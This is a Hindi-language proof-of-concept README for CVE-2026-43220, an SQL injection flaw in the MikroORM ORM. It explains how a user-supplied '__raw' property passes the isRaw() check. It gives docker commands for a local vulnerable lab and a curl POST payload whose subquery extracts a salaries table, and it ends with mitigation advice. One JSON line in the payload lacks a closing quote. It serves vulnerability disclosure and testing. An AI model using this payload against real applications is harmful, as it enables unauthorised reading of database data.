
MikroORM में SQL Injection भेद्यता
★ CVE-2026-43220 MikroORM SQL इंजेक्शन PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 MikroORM में एक SQL इंजेक्शन कमजोरी है, जो एक व्यापक रूप से उपयोग किया जाने वाला TypeScript/Node.js ORM फ्रेमवर्क है।
जब__rawप्रॉपर्टी वाला उपयोगकर्ता-प्रदत्त मान बिना सत्यापन के Custom Type कॉलम को पास किया जाता है, तो MikroORM काisRaw()चेक उसे एक विश्वसनीय आंतरिक Raw SQL एक्सप्रेशन के रूप में पहचानता है और हमलावर-नियंत्रितsqlमान को बिना किसी प्रकार रूपांतरण या सैनिटाइज़ेशन के सीधे जनरेट किए गए क्वेरी में सम्मिलित कर देता है, जिससे मनमाने SQL का अनपेक्षित निष्पादन होता है।
| श्रेणी | संस्करण |
|---|
| कमजोर | MikroORM संस्करण ≤ 6.4.3 और 7.0.0 ≤ संस्करण ≤ 7.0.5 |
| पैच किया गया | MikroORM 6.4.4 और 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
कमजोर वातावरण शुरू करने के बाद, हमले को पुनः उत्पन्न करने के लिए नीचे दिए गए चरणों का पालन करें।
__raw वाला दुर्भावनापूर्ण पेलोड भेजेंएक JSON बॉडी भेजें जिसमें Custom Type कॉलम को लक्षित करने वाली __raw प्रॉपर्टी शामिल हो।
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
सत्यापित करें कि API बिना किसी त्रुटि के सफल प्रतिक्रिया लौटाता है, जो दर्शाता है कि MikroORM ने दुर्भावनापूर्ण पेलोड को एक वैध मान के रूप में स्वीकार कर लिया।
सत्यापित करें कि बनाए गए पोस्ट का content फ़ील्ड salaries तालिका से क्वेरी परिणाम
(जैसे, Alice: 5000 / Bob: 7000 / ...) शामिल करता है,
जो पुष्टि करता है कि किसी असंबंधित तालिका से डेटा बिना किसी त्रुटि या एक्सेस नियंत्रण उल्लंघन के
चुपचाप प्रतिक्रिया में एम्बेड कर दिया गया है।
isRaw() में origin सत्यापन प्रस्तुत करता है ताकि बाहरी रूप से प्रदत्त __raw प्रॉपर्टीज़ को अस्वीकार किया जा सके__raw जैसी अप्रत्याशित प्रॉपर्टीज़ को अस्वीकार करने के लिए व्हाइटलिस्ट-आधारित इनपुट सत्यापन लागू करें